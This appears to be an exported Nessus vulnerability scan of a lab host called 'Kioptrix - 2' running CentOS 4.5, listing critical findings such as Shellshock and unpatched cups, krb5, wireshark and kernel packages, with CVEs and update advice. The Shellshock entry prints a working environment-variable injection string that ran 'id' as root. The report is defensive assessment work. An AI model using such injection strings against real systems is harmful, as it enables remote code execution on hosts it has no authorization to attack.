



Kioptrix - 2

Wed, 12 Nov 2025 18:22:42 UTC

TABLE OF CONTENTS

Vulnerabilities by Host

- 10.136.108.237

Compliance 'FAILED'

Compliance 'SKIPPED'

Compliance 'PASSED'

Compliance 'INFO', 'WARNING', 'ERROR'

Remediations

- Suggested Remediations

Vulnerabilities by Host

[Collapse All](#) | [Expand All](#)

10.136.108.237

26

CRITICAL

91

HIGH

127

MEDIUM

10

LOW

110

INFO

Scan Information

Start time: Wed Nov 12 18:06:03 2025

End time: Wed Nov 12 18:22:38 2025

Host Information

IP: 10.136.108.237

MAC Address: 00:0C:29:53:19:4C

OS: Linux Kernel 2.6.9-55.EL on CentOS release 4.5 (Final)

Vulnerabilities

77823 - Bash Remote Code Execution (Shellshock)

Synopsis

A system shell on the remote host is vulnerable to command injection.

Description

The remote host is running a version of Bash that is vulnerable to command injection via environment variable manipulation. Depending on the configuration of the system, an attacker could remotely execute arbitrary code.

See Also

<http://seclists.org/oss-sec/2014/q3/650>

<http://www.nessus.org/u?dacf7829>

<https://www.invisiblethreat.ca/post/shellshock/>

Solution

Update Bash.

Risk Factor

Critical

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.4 (CVSS:3.0/E:H/RL:O/RC:C)

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:I/C:A;C)

CVSS v2.0 Temporal Score

8.7 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

BID	70103
CVE	CVE-2014-6271
XREF	EDB-ID:34765
XREF	EDB-ID:34766
XREF	IAVA:2014-A-0142
XREF	CISA-KNOWN-EXPLOITED:2022/07/28
XREF	CEA-ID:CEA-2019-0240

Exploitable With

Core Impact (true) Metasploit (true)

Plugin Information

Published: 2014/09/24, Modified: 2022/12/05

Plugin Output

tcp/22/ssh

Nessus was able to set the TERM environment variable used in an SSH connection to :

```
() { :;}; /usr/bin/id > /tmp/nessus.1762971042  
and read the output from the file :  
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
```

Note: Nessus has attempted to remove the file /tmp/nessus.1762971042

34375 - CentOS 3 / 4 / 5 : cups (CESA-2008:0937)**Synopsis**

The remote CentOS host is missing one or more security updates.

Description

Updated cups packages that fix multiple security issues are now available for Red Hat Enterprise Linux 3, 4, and 5.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The Common UNIX Printing System (CUPS) provides a portable printing layer for UNIX(R) operating systems.

A buffer overflow flaw was discovered in the SGI image format decoding routines used by the CUPS image converting filter 'imagetops'. An attacker could create a malicious SGI image file that could, possibly, execute arbitrary code as the 'lp' user if the file was printed.
(CVE-2008-3639)

An integer overflow flaw leading to a heap buffer overflow was discovered in the Text-to-PostScript 'texttops' filter. An attacker could create a malicious text file that could, possibly, execute arbitrary code as the 'lp' user if the file was printed.
(CVE-2008-3640)

An insufficient buffer bounds checking flaw was discovered in the HP-GL/2-to-PostScript 'hpgltops' filter. An attacker could create a malicious HP-GL/2 file that could, possibly, execute arbitrary code as the 'lp' user if the file was printed. (CVE-2008-3641)

Red Hat would like to thank regenrecht for reporting these issues.

All CUPS users are advised to upgrade to these updated packages, which contain backported patches to resolve these issues.

See Also

<http://www.nessus.org/u?a8913e8f>
<http://www.nessus.org/u?7693a0b3f>
<http://www.nessus.org/u?178992e2>
<http://www.nessus.org/u?0b051b7b>
<http://www.nessus.org/u?67b2c5a3>
<http://www.nessus.org/u?8711fc72>
<http://www.nessus.org/u?5fe3ce03>
<http://www.nessus.org/u?6bebd75f>

Solution

Update the affected cups packages.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

References

CVE	CVE-2008-3639
CVE	CVE-2008-3640
CVE	CVE-2008-3641
CVE	CVE-2009-0577
XREF	RHSA:2008:0937
XREF	CWE:119
XREF	CWE:189
XREF	CWE:399

Exploitable With

Core Impact (true)

Plugin Information

Published: 2008/10/10, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : cups-1.1.22-0.rc1.9.20
Should be : cups-1.1.22-0.rc1.9.27.el4_7.1

Remote package installed : cups-langs-1.1.22-0.rc1.9.20
Should be : cups-langs-1.1.22-0.rc1.9.27.el4_7.1
```

43866 - CentOS 3 / 4 / 5 : krb5 (CESA-2010:0029)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated krb5 packages that fix multiple security issues are now available for Red Hat Enterprise Linux 3, 4, and 5, and Red Hat Enterprise Linux 4.7, 5.2, and 5.3 Extended Update Support.

This update has been rated as having critical security impact by the Red Hat Security Response Team.

Kerberos is a network authentication system which allows clients and servers to authenticate to each other using symmetric encryption and a trusted third party, the Key Distribution Center (KDC).

Multiple integer underflow flaws, leading to heap-based corruption, were found in the way the MIT Kerberos Key Distribution Center (KDC) decrypted ciphertexts encrypted with the Advanced Encryption Standard (AES) and ARCFOUR (RC4) encryption algorithms. If a remote KDC client were able to provide a specially crafted AES- or RC4-encrypted ciphertext or texts, it could potentially lead to either a denial of service of the central KDC (KDC crash or abort upon processing the crafted ciphertext), or arbitrary code execution with the privileges of the KDC (i.e., root privileges). (CVE-2009-4212)

All krb5 users should upgrade to these updated packages, which contain a backported patch to correct these issues. All running services using the MIT Kerberos libraries must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?a3928f71>
<http://www.nessus.org/u?c7b6d35c>
<http://www.nessus.org/u?63052a55>
<http://www.nessus.org/u?b727736e>
<http://www.nessus.org/u?c029756a>
<http://www.nessus.org/u?555907ea>

Solution

Update the affected krb5 packages.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:I/C:A:C)

CVSS v2.0 Temporal Score

8.7 (CVSS2#E:ND/RL:OF/RC:C)

References

BID	37749
CVE	CVE-2009-4212
XREF	RHSA:2010:0029
XREF	CWE:189

Plugin Information

Published: 2010/01/13, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : krb5-devel-1.3.4-47
Should be : krb5-devel-1.3.4-62.el4_8.1

Remote package installed : krb5-libs-1.3.4-47
Should be : krb5-libs-1.3.4-62.el4_8.1

Remote package installed : krb5-workstation-1.3.4-47
Should be : krb5-workstation-1.3.4-62.el4_8.1
```

67071 - CentOS 3 / 4 / 5 : libvorbis (CESA-2009:1561)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated libvorbis packages that fix multiple security issues are now available for Red Hat Enterprise Linux 3, 4, and 5.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The libvorbis packages contain runtime libraries for use in programs that support Ogg Vorbis. Ogg Vorbis is a fully open, non-proprietary, patent-and royalty-free, general-purpose compressed audio format.

Multiple flaws were found in the libvorbis library. A specially crafted Ogg Vorbis media format file (Ogg) could cause an application using libvorbis to crash or, possibly, execute arbitrary code when opened. (CVE-2009-3379)

Users of libvorbis should upgrade to these updated packages, which contain backported patches to correct these issues. The desktop must be restarted (log out, then log back in) for this update to take effect.

See Also

<http://www.nessus.org/u?a5595855>
<http://www.nessus.org/u?eee4078f>
<http://www.nessus.org/u?8b48575d>
<http://www.nessus.org/u?a8a122f6>
<http://www.nessus.org/u?6a4277ea>
<http://www.nessus.org/u?d56b6c17>

Solution

Update the affected libvorbis packages.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.8 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	36875
CVE	CVE-2009-3379
XREF	RHSA:2009:1561

Plugin Information

Published: 2013/06/29, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : libvorbis-1.1.0-1
Should be : libvorbis-1.1.0-3.el4_8.3
```

```
Remote package installed : libvorbis-devel-1.1.0-1
Should be : libvorbis-devel-1.1.0-3.el4_8.3
```

37692 - CentOS 3 / 4 / 5 : libxml2 (CESA-2008:0988)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated libxml2 packages that fix security issues are now available for Red Hat Enterprise Linux 2.1, 3, 4, and 5.

This update has been rated as having important security impact by the Red Hat Security Response Team.

libxml2 is a library for parsing and manipulating XML files. It includes support for reading, modifying, and writing XML and HTML files.

An integer overflow flaw causing a heap-based buffer overflow was found in the libxml2 XML parser. If an application linked against libxml2 processed untrusted, malformed XML content, it could cause the application to crash or, possibly, execute arbitrary code.

(CVE-2008-4226)

A denial of service flaw was discovered in the libxml2 XML parser. If an application linked against libxml2 processed untrusted, malformed XML content, it could cause the application to enter an infinite loop.

(CVE-2008-4225)

Red Hat would like to thank Drew Yao of the Apple Product Security team for reporting these issues.

Users of libxml2 are advised to upgrade to these updated packages, which contain backported patches to correct these issues.

See Also

<http://www.nessus.org/u?670920aa>
<http://www.nessus.org/u?91ed551d>
<http://www.nessus.org/u?a556f096>
<http://www.nessus.org/u?b2da5874>
<http://www.nessus.org/u?2dbbbc13>
<http://www.nessus.org/u?0db6cac8>
<http://www.nessus.org/u?4e1df22d>
<http://www.nessus.org/u?5784e79b>
<http://www.nessus.org/u?133372e4>
<http://www.nessus.org/u?ff8d4dd3>

Solution

Update the affected libxml2 packages.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

References

CVE	CVE-2008-4225
CVE	CVE-2008-4226
XREF	RHSA:2008:0988
XREF	CWE:189
XREF	CWE:399

Plugin Information

Published: 2009/04/23, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : libxml2-2.6.16-10
Should be : libxml2-2.6.16-12.6

Remote package installed : libxml2-devel-2.6.16-10
Should be : libxml2-devel-2.6.16-12.6

Remote package installed : libxml2-python-2.6.16-10
Should be : libxml2-python-2.6.16-12.6

33142 - CentOS 3 / 4 / 5 : net-snmp (CESA-2008:0529)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated net-snmp packages that fix a security issue are now available for Red Hat Enterprise Linux 3, 4, and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The Simple Network Management Protocol (SNMP) is a protocol used for network management.

A flaw was found in the way Net-SNMP checked an SNMPv3 packet's Keyed-Hash Message Authentication Code (HMAC). An attacker could use this flaw to spoof an authenticated SNMPv3 packet. (CVE-2008-0960)

A buffer overflow was found in the Perl bindings for Net-SNMP. This could be exploited if an attacker could convince an application using the Net-SNMP Perl module to connect to a malicious SNMP agent.

(CVE-2008-2292)

All users of net-snmp should upgrade to these updated packages, which contain backported patches to resolve these issues.

See Also

<http://www.nessus.org/u?6ce0318a>
<http://www.nessus.org/u?d46f8e65>
<http://www.nessus.org/u?0b76e169>
<http://www.nessus.org/u?0ce8c587>
<http://www.nessus.org/u?9e04fe41>

<http://www.nessus.org/u?b05a3829>
<http://www.nessus.org/u?7dcbf0ab>
<http://www.nessus.org/u?170e07e5>

Solution

Update the affected net-snmp packages.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.8 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	29212
BID	29623
CVE	CVE-2008-0960
CVE	CVE-2008-2292
XREF	RHSA:2008:0529
XREF	CWE:119
XREF	CWE:287

Exploitable With

CANVAS (true)

Plugin Information

Published: 2008/06/12, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : net-snmp-libs-5.1.2-11.EL4.10
Should be : net-snmp-libs-5.1.2-11.el4_6.11.3
```

34326 - CentOS 3 / 4 / 5 : wireshark (CESA-2008:0890)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated wireshark packages that fix several security issues are now available for Red Hat Enterprise Linux 3, 4, and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

Wireshark is a program for monitoring network traffic. Wireshark was previously known as Ethereal.

Multiple buffer overflow flaws were found in Wireshark. If Wireshark read a malformed packet off a network, it could crash or, possibly, execute arbitrary code as the user running Wireshark. (CVE-2008-3146)

Several denial of service flaws were found in Wireshark. Wireshark could crash or stop responding if it read a malformed packet off a network, or opened a malformed dump file. (CVE-2008-1070, CVE-2008-1071, CVE-2008-1072, CVE-2008-1561, CVE-2008-1562, CVE-2008-1563, CVE-2008-3137, CVE-2008-3138, CVE-2008-3141, CVE-2008-3145, CVE-2008-3932, CVE-2008-3933, CVE-2008-3934)

Additionally, this update changes the default Pluggable Authentication Modules (PAM) configuration to always prompt for the root password before each start of Wireshark. This avoids unintentionally running Wireshark with root privileges.

Users of wireshark should upgrade to these updated packages, which contain Wireshark version 1.0.3, and resolve these issues.

See Also

<http://www.nessus.org/u?ca1ababf>
<http://www.nessus.org/u?8dbb3197>
<http://www.nessus.org/u?ce4d9856>
<http://www.nessus.org/u?f3efc196>

<http://www.nessus.org/u?cc966927>
<http://www.nessus.org/u?61878bf6>
<http://www.nessus.org/u?eabadb13>
<http://www.nessus.org/u?d42afa4a>

Solution

Update the affected wireshark packages.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID	28025
BID	28485
BID	30020
BID	30181
BID	31009
CVE	CVE-2008-1070
CVE	CVE-2008-1071
CVE	CVE-2008-1072
CVE	CVE-2008-1561
CVE	CVE-2008-1562
CVE	CVE-2008-1563
CVE	CVE-2008-3137
CVE	CVE-2008-3138
CVE	CVE-2008-3141
CVE	CVE-2008-3145
CVE	CVE-2008-3146
CVE	CVE-2008-3932
CVE	CVE-2008-3933
CVE	CVE-2008-3934
XREF	RHSA:2008:0890
XREF	CWE:20
XREF	CWE:119
XREF	CWE:200
XREF	CWE:399

Exploitable With

Core Impact (true)

Plugin Information

Published: 2008/10/02, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : wireshark-0.99.5-EL4.1
Should be : wireshark-1.0.3-3.el4_7
```

31741 - CentOS 3 / 4 : cups (CESA-2008:0206)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated cups packages that fix multiple security issues are now available for Red Hat Enterprise Linux 3 and 4.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The Common UNIX Printing System (CUPS) provides a portable printing layer for UNIX(R) operating systems.

Two overflows were discovered in the HP-GL/2-to-PostScript filter. An attacker could create a malicious HP-GL/2 file that could possibly execute arbitrary code as the 'lp' user if the file is printed.

(CVE-2008-0053)

A buffer overflow flaw was discovered in the GIF decoding routines used by CUPS image converting filters 'imagetops' and 'imagetoraster'.

An attacker could create a malicious GIF file that could possibly execute arbitrary code as the 'lp' user if the file was printed.

(CVE-2008-1373)

It was discovered that the patch used to address CVE-2004-0888 in CUPS packages in Red Hat Enterprise Linux 3 and 4 did not completely resolve the integer overflow in the 'pdftops' filter on 64-bit platforms. An attacker could create a malicious PDF file that could possibly execute arbitrary code as the 'lp' user if the file was printed. (CVE-2008-1374)

All cups users are advised to upgrade to these updated packages, which contain backported patches to resolve these issues.

See Also

<http://www.nessus.org/u?ccee7d61>
<http://www.nessus.org/u?beddc91a>
<http://www.nessus.org/u?38c8fe7a>
<http://www.nessus.org/u?11df26ef>
<http://www.nessus.org/u?cf1b29b8>
<http://www.nessus.org/u?b08a3a94>

Solution

Update the affected cups packages.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:I/C:A:C)

CVSS v2.0 Temporal Score

7.4 (CVSS2#E:U/RL:OF/RC:C)

References

BID	28307
BID	28334
BID	28544
CVE	CVE-2004-0888
CVE	CVE-2005-0206
CVE	CVE-2008-0053
CVE	CVE-2008-1373
CVE	CVE-2008-1374
XREF	RHSA:2008:0206
XREF	CWE:119
XREF	CWE:189

Plugin Information

Published: 2008/04/04, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : cups-1.1.22-0.rc1.9.20
Should be : cups-1.1.22-0.rc1.9.20.2.el4_6.6

Remote package installed : cups-libs-1.1.22-0.rc1.9.20
Should be : cups-libs-1.1.22-0.rc1.9.20.2.el4_6.6
```

57962 - CentOS 4 / 5 / 6 : libvorbis (CESA-2012:0136)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated libvorbis packages that fix one security issue are now available for Red Hat Enterprise Linux 4, 5, and 6.

The Red Hat Security Response Team has rated this update as having important security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

The libvorbis packages contain runtime libraries for use in programs that support Ogg Vorbis. Ogg Vorbis is a fully open, non-proprietary, patent-and royalty-free, general-purpose compressed audio format.

A heap-based buffer overflow flaw was found in the way the libvorbis library parsed Ogg Vorbis media files. If a specially crafted Ogg Vorbis media file was opened by an application using libvorbis, it could cause the application to crash or, possibly, execute arbitrary code with the privileges of the user running the application. (CVE-2012-0444)

Users of libvorbis should upgrade to these updated packages, which contain a backported patch to correct this issue. The desktop must be restarted (log out, then log back in) for this update to take effect.

See Also

<http://www.nessus.org/u?e64eee4b>
<http://www.nessus.org/u?afab6c58>
<http://www.nessus.org/u?e121e212>

Solution

Update the affected libvorbis packages.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.4 (CVSS2#E:U/RL:OF/RC:C)

References

BID	51753
CVE	CVE-2012-0444
XREF	RHSA:2012:0136

Plugin Information

Published: 2012/02/16, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : libvorbis-1.1.0-1
Should be : libvorbis-1.1.0-4.el4.5
```

```
Remote package installed : libvorbis-devel-1.1.0-1
Should be : libvorbis-devel-1.1.0-4.el4.5
```

57405 - CentOS 4 / 5 : krb5 (CESA-2011:1851)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated krb5 packages that fix one security issue are now available for Red Hat Enterprise Linux 4 and 5.

The Red Hat Security Response Team has rated this update as having Critical security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

Kerberos is a network authentication system which allows clients and servers to authenticate to each other using symmetric encryption and a trusted third-party, the Key Distribution Center (KDC).

A buffer overflow flaw was found in the MIT krb5 telnet daemon (telnetd). A remote attacker who can access the telnet port of a target machine could use this flaw to execute arbitrary code as root.

(CVE-2011-4862)

Note that the krb5 telnet daemon is not enabled by default in any version of Red Hat Enterprise Linux. In addition, the default firewall rules block remote access to the telnet port. This flaw does not affect the telnet daemon distributed in the telnet-server package.

For users who have installed the krb5-workstation package, have enabled the telnet daemon, and have it accessible remotely, this update should be applied immediately.

All krb5-workstation users should upgrade to these updated packages, which contain a backported patch to correct this issue.

See Also

<http://www.nessus.org/u?e44f57b9>
<http://www.nessus.org/u?e476e566>

Solution

Update the affected krb5 packages.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID	51182
CVE	CVE-2011-4862
XREF	RHSA:2011:1851

Exploitable With

Core Impact (true) (true) Metasploit (true)

Plugin Information

Published: 2011/12/28, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : krb5-devel-1.3.4-47
Should be : krb5-devel-1.3.4-65.el4
```

```
Remote package installed : krb5-libs-1.3.4-47
Should be : krb5-libs-1.3.4-65.el4
```

```
Remote package installed : krb5-workstation-1.3.4-47
Should be : krb5-workstation-1.3.4-65.el4
```

29931 - CentOS 4 / 5 : tog-pegaus (CESA-2008:0002)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated tog-pegaus packages that fix a security issue are now available for Red Hat Enterprise Linux 4 and 5.

This update has been rated as having critical security impact by the Red Hat Security Response Team.

The tog-pegaus packages provide OpenPegasus Web-Based Enterprise Management (WBEM) services. WBEM is a platform and resource independent DMTF standard that defines a common information model, and communication protocol for monitoring and controlling resources.

During a security audit, a stack-based buffer overflow flaw was found in the PAM authentication code in the OpenPegasus CIM management server. An unauthenticated remote user could trigger this flaw and potentially execute arbitrary code with root privileges.
(CVE-2008-0003)

Note that the tog-pegaus packages are not installed by default on Red Hat Enterprise Linux. The Red Hat Security Response Team believes that it would be hard to remotely exploit this issue to execute arbitrary code, due to the default SELinux targeted policy on Red Hat Enterprise Linux 4 and 5, and the SELinux memory protection tests enabled by default on Red Hat Enterprise Linux 5.

Users of tog-pegasus should upgrade to these updated packages, which contain a backported patch to resolve this issue. After installing the updated packages the tog-pegasus service should be restarted.

See Also

<http://www.nessus.org/u?d9b34e51>
<http://www.nessus.org/u?7229aeb9>
<http://www.nessus.org/u?55e8cd9d>
<http://www.nessus.org/u?f7d7baef>
<http://www.nessus.org/u?aa27cb74>

Solution

Update the affected tog-pegasus packages.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.7 (CVSS2#E:H/RL:OF/RC:C)

References

BID	27172
CVE	CVE-2008-0003
XREF	RHSA:2008:0002
XREF	CWE:119

Plugin Information

Published: 2008/01/14, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : tog-pegasus-2.5.1-2.EL4
Should be : tog-pegasus-2.5.1-5.el4_6.1

Remote package installed : tog-pegasus-devel-2.5.1-2.EL4
Should be : tog-pegasus-devel-2.5.1-5.el4_6.1
```

43670 - CentOS 4 / 5 : wireshark (CESA-2008:0058)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated wireshark packages that fix several security issues are now available for Red Hat Enterprise Linux 4 and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

Wireshark is a program for monitoring network traffic. Wireshark was previously known as Ethereal.

Several flaws were found in Wireshark. Wireshark could crash or possibly execute arbitrary code as the user running Wireshark if it read a malformed packet off the network. (CVE-2007-6112, CVE-2007-6114, CVE-2007-6115, CVE-2007-6117)

Several denial of service bugs were found in Wireshark. Wireshark could crash or stop responding if it read a malformed packet off the network. (CVE-2007-6111, CVE-2007-6113, CVE-2007-6116, CVE-2007-6118, CVE-2007-6119, CVE-2007-6120, CVE-2007-6121, CVE-2007-6438, CVE-2007-6439, CVE-2007-6441, CVE-2007-6450, CVE-2007-6451)

As well, Wireshark switched from using net-snmp to libsmi, which is included in this errata.

Users of wireshark should upgrade to these updated packages, which contain Wireshark version 0.99.7, and resolve these issues.

See Also

<http://www.nessus.org/u?43bd41a2>
<http://www.nessus.org/u?5e629cd8>

<http://www.nessus.org/u?1fa4cba5>
<http://www.nessus.org/u?43d90ffe>
<http://www.nessus.org/u?093b1146>

Solution

Update the affected wireshark packages.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.8 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	26532
BID	27071
CVE	CVE-2007-6111
CVE	CVE-2007-6112
CVE	CVE-2007-6113
CVE	CVE-2007-6114
CVE	CVE-2007-6115
CVE	CVE-2007-6116
CVE	CVE-2007-6117
CVE	CVE-2007-6118
CVE	CVE-2007-6119
CVE	CVE-2007-6120
CVE	CVE-2007-6121
CVE	CVE-2007-6438
CVE	CVE-2007-6439
CVE	CVE-2007-6441
CVE	CVE-2007-6450
CVE	CVE-2007-6451
XREF	RHSA:2008:0058
XREF	CWE:20
XREF	CWE:119
XREF	CWE:189
XREF	CWE:264
XREF	CWE:399

Plugin Information

Published: 2010/01/06, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : wireshark-0.99.5-EL4.1
Should be : wireshark-0.99.7-1

48409 - CentOS 4 / 5 : wireshark (CESA-2010:0625)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated wireshark packages that fix several security issues are now available for Red Hat Enterprise Linux 3, 4, and 5.

The Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

Wireshark is a program for monitoring network traffic. Wireshark was previously known as Ethereal.

Multiple buffer overflow flaws were found in the Wireshark SigComp Universal Decompressor Virtual Machine (UDVM) dissector. If Wireshark read a malformed packet off a network or opened a malicious dump file, it could crash or, possibly, execute arbitrary code as the user running Wireshark. (CVE-2010-2287, CVE-2010-2995)

Several denial of service flaws were found in Wireshark. Wireshark could crash or stop responding if it read a malformed packet off a network, or opened a

malicious dump file. (CVE-2010-1455, CVE-2010-2283, CVE-2010-2284, CVE-2010-2286)

Users of Wireshark should upgrade to these updated packages, which contain Wireshark version 1.0.15, and resolve these issues. All running instances of Wireshark must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?4ea3370a>
<http://www.nessus.org/u?17af990f>
<http://www.nessus.org/u?18b151ef>
<http://www.nessus.org/u?0687cae5>

Solution

Update the affected wireshark packages.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:I/C:A:C)

CVSS v2.0 Temporal Score

8.7 (CVSS2#E:H/RL:OF/RC:C)

References

BID	39950
BID	40728
CVE	CVE-2010-1455
CVE	CVE-2010-2283
CVE	CVE-2010-2284
CVE	CVE-2010-2286
CVE	CVE-2010-2287
CVE	CVE-2010-2994
CVE	CVE-2010-2995
XREF	RHSA:2010:0625

Plugin Information

Published: 2010/08/24, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : wireshark-0.99.5-EL4.1
Should be : wireshark-1.0.15-1.el4_8.1
```

37428 - CentOS 4 : cups (CESA-2007:1022)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated cups packages that fix several security issues are now available for Red Hat Enterprise Linux 4.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The Common UNIX Printing System (CUPS) provides a portable printing layer for UNIX(R) operating systems.

Alin Rad Pop discovered several flaws in the handling of PDF files. An attacker could create a malicious PDF file that would cause CUPS to crash or potentially execute arbitrary code when printed.

(CVE-2007-4352, CVE-2007-5392, CVE-2007-5393)

Alin Rad Pop discovered a flaw in the way CUPS handles certain IPP tags. A remote attacker who is able to connect to the IPP TCP port could send a malicious request causing the CUPS daemon to crash.

(CVE-2007-4351)

A flaw was found in the way CUPS handled SSL negotiation. A remote attacker capable of connecting to the CUPS daemon could cause CUPS to crash. (CVE-2007-4045)

All CUPS users are advised to upgrade to these updated packages, which contain backported patches to resolve these issues.

See Also

<http://www.nessus.org/u?46b1a02d>
<http://www.nessus.org/u?0245a9bc>
<http://www.nessus.org/u?f81c36e4>

Solution

Update the affected cups packages.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.4 (CVSS2#E:U/RL:OF/RC:C)

References

BID	26367
BID	26524
CVE	CVE-2007-4045
CVE	CVE-2007-4351
CVE	CVE-2007-4352
CVE	CVE-2007-5392
CVE	CVE-2007-5393
XREF	RHSA:2007:1022
XREF	CWE:119
XREF	CWE:189

Plugin Information

Published: 2009/04/23, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : cups-1.1.22-0.rc1.9.20
Should be : cups-1.1.22-0.rc1.9.20.2.el4_5.2

Remote package installed : cups-langs-1.1.22-0.rc1.9.20
Should be : cups-langs-1.1.22-0.rc1.9.20.2.el4_5.2
```

43689 - CentOS 4 : gnutls (CESA-2008:0492)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated gnutls packages that fix several security issues are now available for Red Hat Enterprise Linux 4.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The GnuTLS Library provides support for cryptographic algorithms and protocols such as TLS. GnuTLS includes libtasn1, a library developed for ASN.1 structures management that includes DER encoding and decoding.

Flaws were found in the way GnuTLS handles malicious client connections. A malicious remote client could send a specially crafted request to a service using GnuTLS that could cause the service to crash. (CVE-2008-1948, CVE-2008-1949, CVE-2008-1950)

We believe it is possible to leverage the flaw CVE-2008-1948 to execute arbitrary code but have been unable to prove this at the time of releasing this advisory. Red Hat Enterprise Linux 4 does not ship with any applications directly affected by this flaw. Third-party software which runs on Red Hat Enterprise Linux 4 could, however, be affected by this vulnerability. Consequently, we have assigned it important severity.

Users of GnuTLS are advised to upgrade to these updated packages, which contain a backported patch that corrects these issues.

See Also

<http://www.nessus.org/u?8ad84ffc>
<http://www.nessus.org/u?ea79a454>
<http://www.nessus.org/u?b421b015>

Solution

Update the affected gnutls packages.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.4 (CVSS2#E:U/RL:OF/RC:C)

References

BID	29292
CVE	CVE-2008-1948
CVE	CVE-2008-1949
CVE	CVE-2008-1950
XREF	RHSA:2008:0492
XREF	CWE:189
XREF	CWE:287

Plugin Information

Published: 2010/01/06, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : gnutls-1.0.20-3.2.3
Should be : gnutls-1.0.20-4.el4_6
```

43730 - CentOS 4 : kernel (CESA-2009:0331)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that resolve several security issues and fix various bugs are now available for Red Hat Enterprise Linux 4.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

This update addresses the following security issues :

* a buffer overflow was found in the Linux kernel Partial Reliable Stream Control Transmission Protocol (PR-SCTP) implementation. This could, potentially, lead to a denial of service if a Forward-TSN chunk is received with a large stream ID. (CVE-2009-0065, Important)

